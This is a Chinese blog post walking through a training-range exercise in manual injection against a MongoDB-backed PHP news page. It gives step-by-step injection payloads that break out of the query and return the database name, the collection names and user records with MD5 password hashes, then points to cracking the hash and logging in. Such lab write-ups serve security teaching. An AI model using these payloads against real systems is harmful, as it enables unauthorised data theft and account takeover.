墨者:通过手工解决SQL手工注入漏洞测试(MongoDB数据库)

发布于:2025-07-28 ⋅ 阅读:(17) ⋅ 点赞:(0)

一、SQL手工注入漏洞测试(MongoDB数据库)

本文以墨者学院靶场为例,演示MongoDB数据库的手工SQL注入全过程。靶场以自己的地址为准:http://124.70.71.251:42286/new_list.php?id=1

二、注入原理说明

MongoDB作为NoSQL数据库,其注入方式与传统SQL注入不同。攻击主要利用:

  1. JSON/BSON语法闭合
  2. JavaScript代码执行
  3. 查询结果强制返回

三、注入步骤详解(如下指令去掉了id之前的内容

1. 查询回显位置

id=1'});return ({'title':'1','content':'2
  • 攻击手法
    • '} 闭合原始查询的JSON结构
    • ); 终止当前语句
    • return 构造新文档强制返回
  • 作用:确认页面显示titlecontent字段的位置
    在这里插入图片描述

2. 查询数据库名称

id=1'});return ({'title':tojson(db),'content':'2
  • 关键函数
    • db:当前数据库对象
    • tojson():将MongoDB对象转为JSON字符串
  • 输出示例
    mozhe_cms_Authority
    

在这里插入图片描述

3. 查询表名称(集合列表)

id=1'});return ({'title':tojson(db.getCollectionNames()),'content':'2
  • 核心方法
    • getCollectionNames():返回所有集合名称数组
  • 典型结果
    [ "Authority_confidential", "notice", "system.indexes" ]
    

在这里插入图片描述

4. 查询字段结构

id=1'});return ({'title':tojson(db.Authority_confidential.find()[0]),'content':'2

修改find()[1]值查询其他账号:

id=1'});return ({'title':tojson(db.Authority_confidential.find()[1]),'content':'2
  • 技术要点
    • Authority_confidential:目标集合名
    • find()[0]:获取集合第一条记录
    • find()[1]:获取集合第二条记录
  • 泄露内容
    {
      "_id": ObjectId("6885d4f44abcd62e71223bc5"),
      "name": "mozhe",
      "password": "a83cd5ad5ed3e1c5597441aaab289f5c",
      "status": "0"
    }
    

在这里插入图片描述
在这里插入图片描述

5. MD5解密后,手动登录,获取Key

MD5工具地址:https://www.cmd5.com/
在这里插入图片描述

四、关键指令速查表

指令/函数 作用 示例输出
'}) 闭合原始查询 终止当前JSON结构
return 控制返回数据 构造恶意输出
tojson() 对象序列化 转为可读JSON
db 当前数据库对象 包含连接信息
getCollectionNames() 获取所有集合 [“coll1”,“coll2”]
find()[0] 获取首条记录 完整文档结构

网站公告

今日签到

点亮在社区的每一天
去签到